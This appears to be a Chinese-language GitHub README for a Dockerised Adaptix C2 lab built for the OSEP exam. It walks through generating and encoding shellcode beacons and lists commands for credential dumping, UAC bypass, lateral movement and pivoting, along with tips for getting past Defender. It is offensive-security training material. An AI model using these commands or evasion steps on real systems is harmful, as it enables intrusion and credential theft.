Squishyxo/OSEP-C2
GitHub: Squishyxo/OSEP-C2
专为 OSEP 考试打造的 Adaptix C2 框架 Docker 工具包,提供从环境搭建到载荷测试的完整红队演练方案。
Stars: 0 | Forks: 0
# OSEP 工具包 — Docker 中的 Adaptix
一页内容。涵盖你从零开始搭建可用的 C2 并测试 payload 所需的全部内容,专为 OSEP 打造。
**目标:** 通过 OSEP。**方法:** 使用 Adaptix C2 进行回调,一台 VMware Win10 虚拟机作为目标,在考试前逐一测试每个 payload。
## 目录
1. [你需要准备什么](#1-what-you-need)
2. [实验环境搭建 — VMware 中的 Kali + Windows 10](#2-lab-setup)
3. [构建并启动 Adaptix(4 条命令)](#3-build-and-start-adaptix)
4. [第一个 beacon — 验证回路是否正常](#4-first-beacon)
5. [如何在 Adaptix 中执行各项任务](#5-how-to-do-each-task-in-adaptix)
6. [隧道(Adaptix 原生 vs Ligolo)](#6-tunneling)
7. [测试每个 payload — 参见 `tests/PAYLOAD_TESTS.md`](#7-testing-payloads)
8. [出现故障时的排查](#8-when-something-breaks)
## 1. 你需要准备什么
**宿主机(你的笔记本电脑/工作站):**
- 至少 16 GB 内存(虚拟机分配 8 GB,其余分配 8 GB)
- 60 GB 可用磁盘空间
- VMware Workstation Pro (Windows/Linux) 或 VMware Fusion (macOS) — 免费的 Player 也可以,只是快照功能较少
- 宿主操作系统上安装 Docker + Compose v2,或者在 Kali 虚拟机内部运行 Docker
**两台虚拟机:**
- **Kali Linux** — 运行 Adaptix 服务端 + 客户端
- **Windows 10** — 你的目标机(你提到你有 ISO 镜像)
## 2. 实验环境搭建
### 2.1 VMware 网络 — 首先执行此操作
beacon 无法回调的最常见原因就是网络问题。正确设置一次,以后就不用管了。
在 **VMware → 编辑 → 虚拟网络编辑器** (Windows) 或 **VMware Fusion → 设置 → 网络** (macOS) 中:
1. 使用 **VMnet8 (NAT)** 或创建一个新的自定义网络 — 命名为 `OSEP-LAB`。
2. 子网:`192.168.56.0/24`(或任何你喜欢的网段 — 只需选定一个并保持一致)
3. 禁用 DHCP,或者设置一个较小的 DHCP 范围,以便你可以为两台虚拟机分配静态 IP。
4. **两台虚拟机必须在同一个 VMnet 上**。这一点没有商量余地 — 如果 Kali 在 NAT 上而 Windows 在桥接模式下,回调流量将无法互通。
### 2.2 安装 Kali
- 最小化安装即可
- 为其分配 `192.168.56.10`(静态)
- `sudo apt update && sudo apt install -y docker.io docker-compose-plugin git`
- `sudo usermod -aG docker $USER && newgrp docker`
### 2.3 安装 Windows 10
从你的 ISO 安装。安装后需要更改的设置:
- 分配 `192.168.56.20`(静态)
- **保持 Defender 开启** — 你需要针对真实的 AV 进行测试
- **关闭“自动提交样本”**(Windows 安全中心 → 病毒和威胁防护 → 管理设置 → 关闭开关)。
如果不这样做,你测试的每个二进制文件都会被上传到 Microsoft,并在几小时内失效。你的 OSEP payload 也会随之失效。
- 安装 VMware Tools(Player 菜单 → 安装 VMware Tools)
- 拍摄一个名为 `clean-defender-on` 的快照 — 你将在不同的 payload 测试之间恢复到该状态
### 2.4 验证两台虚拟机能否正常通信
从 Kali 中执行:
```
ping -c 3 192.168.56.20 # should get replies from Windows
```
从 Windows 中执行(管理员 PowerShell — 内置防火墙默认阻止 ICMP;仅为测试放行它):
```
New-NetFirewallRule -DisplayName "Allow ICMP" -Protocol ICMPv4 -Action Allow
```
然后从 Windows CMD 中执行:
```
ping 192.168.56.10
```
双向均能回复 = 你的网络配置已完成。
### 2.5 虚拟机之间的文件传输
你需要为每次测试将编译好的 payload 从 Kali 移动到 Windows。选择**一种**方法并坚持使用:
**选项 A — Python HTTP 服务器(最简单)。** 在 Kali 上:
```
cd ~/AA-osep_toolkit_docker/docker/payload-output
python3 -m http.server 8080
```
在 Windows 上,使用 Edge 浏览器打开 `http://192.168.56.10:8080/` → 下载。
**选项 B — SMB。** 在 Kali 上:
```
impacket-smbserver share ~/AA-osep_toolkit_docker/docker/payload-output -smb2support
```
在 Windows 上:在资源管理器中访问 `\\192.168.56.10\share\yourfile.exe`。
**选项 C — VMware 共享文件夹。** 可用但不太稳定,有时写入的权限很奇怪。除非 A 和 B 对你不起作用,否则跳过此项。
## 3. 构建并启动 Adaptix
在 Kali 上,解压工具包后:
```
cd AA-osep_toolkit_docker/docker
# 构建所有内容(server、extenders、Qt client、BOFs、payload builder)
./scripts/build-all.sh # ~20 min first time, cached after
# 启动 team server(保持此终端开启)
./scripts/start-server.sh
# 在第二个终端中 — 启动 GUI client
./scripts/start-client.sh
# 从 client 连接:
# Host: 127.0.0.1 Port: 4321 Endpoint: /endpoint
# Password: OSEP_Docker_2026! (如需更改请编辑 profile.yaml)
# Username: 任意 Project: OSEP_Lab
```
如果 `build-all.sh` 失败,请参阅[第 8 节](#8-when-something-breaks)。
## 4. 第一个 beacon
在做任何其他事情之前,先证明回路能正常工作。这就是整个 C2 循环的缩影 — 如果这能运行,说明工具包没问题。
### 4.1 创建一个 HTTP listener
在客户端 GUI 中:
1. **Listeners** 标签页 → 右键点击 → **Create**
2. 类型:`BeaconHTTP`,名称:`http-80`
3. **Callback hosts**:`192.168.56.10` ← **你的 Kali IP,这是从 Windows 的视角看到的**
4. **Callback port**:`80`
5. URI:`/api/update`
6. User-Agent:`Mozilla/5.0 (Windows NT 10.0; Win64; x64)`
7. 保存。
首先从 Kali 进行测试:`curl -v http://192.168.56.10:80/anything`
→ HTTP 404 = listener 已启动。
### 4.2 生成 shellcode agent
1. **Agents** 标签页 → 右键点击 → **Generate**
2. Agent:`beacon`,Listener:`http-80`,Arch:`x64`,Format:**Shellcode**(关键 — 不是 EXE)
3. Sleep `5`,Jitter `30`
4. 保存为 `agent.bin`
5. 将其移动到 `docker/payload-input/agent.bin`
### 4.3 编码 + 编译 runner
```
cd docker
./scripts/payload-shell.sh
```
在容器内:
```
# XOR 编码 shellcode
encode-shellcode xor /input/agent.bin 0xfa
# 输出:大型 C# byte array — 向上滚动并全部复制
# 在 vim 中打开 runner,用输出替换 `encryptedBuf` array
vim /payloads/shellcode_runners/04_process_hollowing.cs
# 编译
compile-cs /payloads/shellcode_runners/04_process_hollowing.cs
# → 出现 /output/04_process_hollowing.exe
```
### 4.4 触发执行
使用 §2.5 中的任意一种方法将 `04_process_hollowing.exe` 传输到 Windows。双击运行。
在 Adaptix 客户端 → **Sessions** 标签页:在 jitter 窗口内(≤ ~7 秒)会出现一个新行。双击 → 交互式控制台。
运行 `whoami`、`hostname`、`pwd`。如果这些命令返回了真实值,说明你的环境配置已完成。
## 5. 如何在 Adaptix 中执行各项任务
快速查阅 — 你想做什么,以及如何操作。详细说明在 Adaptix GitBook 中;这里是简明版本。
### 5.1 基本交互
在 agent 控制台中:
| 目标 | 命令 |
| ----------------------------- | ------------------------------------ |
| 运行 cmd | `shell whoami /all` |
| 运行 PowerShell | `powershell Get-Process` |
| 在内存中运行 .NET assembly | `execute-assembly /path/to/tool.exe` |
| 列出文件 | `ls C:\Users\` |
| 切换目录 | `cd C:\Users\victim` |
| 从目标机下载文件 | `download C:\loot\file.docx` |
| 上传文件到目标机 | `upload /local/file.exe` |
| 当前权限 | `shell whoami /priv` |
| 调整 sleep | `sleep 10 30` (10秒, 30% jitter) |
| 交互模式(用于隧道)| `sleep 0` — beacon 变为实时模式 |
| 终止 beacon | `exit` |
### 5.2 权限提升
```
whoami /priv # what do I have?
getsystem # try to elevate to SYSTEM (needs admin)
steal_token # steal token from another process
rev2self # drop the stolen token
```
如果 `getsystem` 无法工作,要绕过 UAC,请加载 Extension-Kit(下一节)并使用其 `elevate` BOF 集合。
### 5.3 加载 Extension-Kit (BOFs)
如果不加载,你只有大约 20 个内置命令。加载后,你将拥有 Mimikatz、LDAP 枚举、DCSync、注入原语等功能。
1. 客户端 → **主菜单 → AxScript → Script Manager**
2. 右键点击 → **Load New**
3. 导航到 Kali 宿主机上的 `docker/ext-kit-dist/extension-kit.axs`
4. 加载它
在每个 agent 控制台中立即可用的新命令:
| 类别 | 命令 |
| -------------- | ------------------------------------------------------------- |
| Credentials | `hashdump`, `logonpasswords`, `dcsync ` |
| Discovery | `ldapsearch `, `netview`, `userenum`, `nbtscan` |
| Injection | `inject ` |
| Elevation | `elevate` (系列 UAC bypass) |
| Lateral | `runas-user`, 基于 BOF 的 psexec/wmi/winrm |
要在服务端启动时自动加载此项,请取消注释 `docker/profile.yaml` 中的 `axscripts:` 行并重启:
```
docker compose --profile runtime restart
```
### 5.4 横向移动(Adaptix 原生)
均要求首先拥有有效的凭据或窃取的 token。
```
jump psexec
jump wmi
jump winrm
jump ssh
```
要将子 beacon 通过父 beacon 链接回来(子目标没有直接的互联网连接):
```
link smb \\target\pipe\ # SMB-pipe pivot
link tcp : # TCP pivot
```
### 5.5 凭据转储
尽可能使用 BOF — 没有进程掉落,没有磁盘写入。
```
logonpasswords # BOF — sekurlsa::logonpasswords
hashdump # BOF — SAM hashes (requires SYSTEM)
dcsync corp.local DA # BOF — DCSync corp.local\DA
```
如果 BOF 失败(补丁非常完整的主机,Defender 作用于 LSASS),则回退到通过 `powershell-import` 然后 `powershell` 运行的 `payloads/ad_tools/ps_mimikatz_lsass.ps1`。
### 5.6 文件 + 进程浏览器 (GUI)
Adaptix 拥有 GUI 浏览器 — 比反复输入 `ls` 要快得多:
- Session 行 → **Open** → **File browser** → 浏览,右键点击下载
- Session 行 → **Open** → **Process browser** → 右键点击 PID → 窃取 token / 终止 / 注入
## 6. 隧道
### 6.1 Adaptix 原生 vs Ligolo-ng — 简短回答
**对于 OSEP:使用 Adaptix 原生。不要上传 Ligolo。** 运转部件更少,AV 攻击面更小,报告中需要解释的二进制文件也少一个。
对比:
| 特性 | Adaptix 原生 | Ligolo-ng |
| ---------------------- | --------------------- | -------------------------- |
| SOCKS4 / SOCKS5 | ✅ (2025重构, 符合 RFC 标准) | ❌ (使用 TUN 代替) |
| SOCKS5 配合 IPv6 | ✅ | ✅ |
| 本地端口转发 | ✅ | ✅ |
| 反向端口转发 | ✅ | ✅ |
| 通过其进行端口扫描 | ✅ (通过 proxychains 配合 nmap 工作) | ✅ (原生 TCP + UDP) |
| 目标机上的额外二进制文件 | ❌ — 使用现有 beacon | ✅ — 需要 agent.exe |
| AV 检测面 | 取决于你的 beacon 是什么 | Beacon + Ligolo agent |
| UDP 扫描 | ❌ (SOCKS 是 TCP) | ✅ |
| 通过隧道进行 ICMP | ❌ | ✅ |
| 设置命令 | 2 | 5+ (agent + interface) |
对于 OSEP 实验和考试,Ligolo 能做到而 Adaptix 做不到的事情(通过隧道的 UDP + ICMP)基本不会遇到。通过 SOCKS5 经由 beacon 进行 TCP 转发,足以涵盖考试测试的所有内容。
### 6.2 Adaptix SOCKS 设置 — 3 条命令版本
在 beacon 控制台中:
```
sleep 0 # put beacon in interactive mode (required)
socks start 1080 # start a SOCKS5 listener on Kali:1080
```
在 Kali 上:
```
# 编辑 /etc/proxychains4.conf — 在底部,将任意 "socks4/5" 行替换为:
echo "socks5 127.0.0.1 1080" | sudo tee -a /etc/proxychains4.conf
# 将其与任何 TCP 工具配合使用:
proxychains nmap -sT -Pn -p 445,3389 192.168.10.5
proxychains crackmapexec smb 192.168.10.0/24
proxychains rdesktop 192.168.10.5
proxychains impacket-secretsdump corp/admin:pass@192.168.10.5
```
完成后停止它:
```
socks stop
sleep 5 30 # back to normal callback interval
```
### 6.3 本地端口转发
你想直接从 Kali 访问位于 192.168.10.5:3389 的内部 RDP,就好像它是本地的一样。
```
portfwd add 13389 192.168.10.5 3389
```
然后在 Kali 上:
```
rdesktop 127.0.0.1:13389
# 或者:xfreerdp /u:user /p:pass /v:127.0.0.1:13389
```
移除它:
```
portfwd del 13389
```
### 6. 反向端口转发
你在 Kali 上有一个工具(例如 `impacket-smbserver`)需要目标机访问 — 但目标机无法直接路由到 Kali,只能连接到受感染且拥有该 beacon 的主机。
```
# 在 beacon host 端口 8445 上监听,转发至 Kali:445
portfwd add -R 8445 192.168.56.10 445
```
目标机现在访问 `\\:8445\share\`,流量将隧道传输回你在 Kali 上的 SMB 服务器。
## 7. 测试 payload
在你自己在开启 Defender 的 Windows 虚拟机上测试之前,不要相信任何 payload。每个 runner、bypass 和 macro 的具体测试流程位于:
**→ `tests/PAYLOAD_TESTS.md`** ← 这是测试指南
它涵盖了 `payloads/` 中的每个文件,逐一介绍,包括:
- 它的作用
- 如何准备它(shellcode、密钥等)
- 在目标机上具体要运行什么
- “成功”是什么样的
- 如果被捕获该怎么办
- 与 OSEP 的相关性
工作流:
1. 将 Win10 虚拟机恢复到 `clean-defender-on` 快照
2. 从测试矩阵中选择下一个 payload
3. 遵循其测试流程
4. 在矩阵中标记结果(通过 / 失败 / 被捕获)
5. 恢复快照,重复上述步骤
### 现实预期
其中一些 payload 会被最新版本的 Defender 捕获。这是意料之中的,并且与 OSEP 息息相关 — 考试考察的是你**何时使用哪种技术**,而不是拥有一个能搞定一切的神奇 runner。
- **明文 runner (`01_basic_runner.cs`)** — 会被捕获。包含它是为了教学目的。
- **使用默认密钥 `0xfa` 的 XOR runner** — 可能会被捕获。密钥 `0xfa` 出现在互联网上的公开示例中,因此类似特征码的启发式分析方法可以对其进行指纹识别。**更改密钥**(在 0x01–0xff 中除了 0x00 之外的任何值)。
- **使用默认密码的 AES runner** — 同样的问题。字符串 `OSEPPassword2024!` 到现在可能已经在某个人的训练数据中了。在每次测试时将其**更改为**随机的值。
- **进程注入 + AES + 随机密钥** — 目前在关闭样本提交的情况下可以绕过 Defender(截至本文撰写时)。开启样本提交会在约 30 分钟内使你的二进制文件失效。
有关如何为每次测试生成新密钥,请参见 `tests/PAYLOAD_TESTS.md`。
## 8. 出现故障时的排查
根据阶段对症状进行分组:
### 构建失败
| 症状 | 解决方案 |
| -------------------------------------- | ---------------------------------------------------------------------------- |
| `docker: command not found` | `curl -fsSL https://get.docker.com \| sudo sh && sudo usermod -aG docker $USER && newgrp docker` |
| `permission denied ... /var/run/docker.sock` | `newgrp docker` 或 登出/登录 |
| `docker compose: unknown command` | 安装 compose v2:`sudo apt install docker-compose-plugin` |
| `make: No rule to make target 'server'`| Adaptix 上游已更改。编辑 `docker/.env` → 设置 `ADAPTIX_REF=` |
| `dist/adaptixserver missing` 构建后出现 | 磁盘已满或构建静默崩溃。`df -h`,然后 `docker compose --profile build-server-ext up --build` 并观察输出 |
| Extension-Kit 在 nanodump 上失败 | 已知的 ARM64 问题;其他 BOF 仍可构建。忽略该单个失败 |
### Server 无法启动
| 症状 | 解决方案 |
| ------------------------------ | ------------------------------------------------------ |
| `bind: address already in use` | 有其他程序占用了 :4321。`sudo ss -ltnp sport = :4321` 查找它,或者在 `profile.yaml` 中更改端口 |
| `failed to load extender` | Runtime 镜像未获取 `.so` 文件。重新构建:`docker compose --profile build-server-ext build --no-cache` |
| `unable to load certificate` | `rm docker/data/server.rsa.* && ./scripts/start-server.sh` (entrypoint 会重新生成) |
### Client 无法连接
| 症状 | 解决方案 |
| ------------------------ | ------------------------------------------------------------ |
| `TLS handshake timeout` | 使用 `127.0.0.1` 而不是 `localhost`。检查防火墙:`sudo ufw allow 4321/tcp` |
| Password rejected | 与 `docker/profile.yaml` 进行精确对比 — 尾部空格很重要 |
| Listeners 标签页在连接后为空 | Server 启动时没有加载 extenders。参考上面的 "failed to load extender" |
### Beacon 未回调
阶梯式排查 — 优先进行成本最低的检查:
1. **从目标机,你能访问 listener 吗?**
PowerShell:`iwr http://192.168.56.10:80/anything`
任何响应(即使是 404)= 网络正常。
2. **runner 在启动时崩溃了吗?** 在 cmd 窗口中运行它 — 我们的 runner 会打印状态。完全没有输出 = Defender 在 `main` 运行前就将其查杀了。
3. **Defender 捕获了它?** 暂时排除一个文件夹(Windows 安全中心 → 排除项)并从那里运行。如果在排除项中可以运行而在外部不行,那就是 AV。更改你的密钥 / 使用 AES / 使用进程注入。
4. **架构不匹配?** Adaptix Generate:Architecture = x64。`compile-cs` 硬编码为 x64。目标进程 (svchost 等) 是 64 位的。任何不匹配都会导致静默崩溃。
5. **AES 解密失败?** 加密异常 = 你的 runner 中的 `aesPassword` / `aesSalt` / `aesIV` 与编码器输出不匹配。仔细复制全部四个值。
### Beacon 回调一次后死亡
```
sleep 5 30 # reset from any extreme sleep setting
```
或者它注入的目标进程被终止了 — 注入到 svchost 中的进程注入可以存活,而注入到例如 notepad 中的普通注入则不行。
### 彻底清除并重新开始
```
cd docker/
./scripts/clean.sh all # type YES
./scripts/build-all.sh
```
# OSEP-C2
标签:C2框架, Docker, IP 地址批量处理, 安全学习资源, 安全实验环境, 安全防御评估, 客户端加密, 网络信息收集, 请求拦截, 逆向工具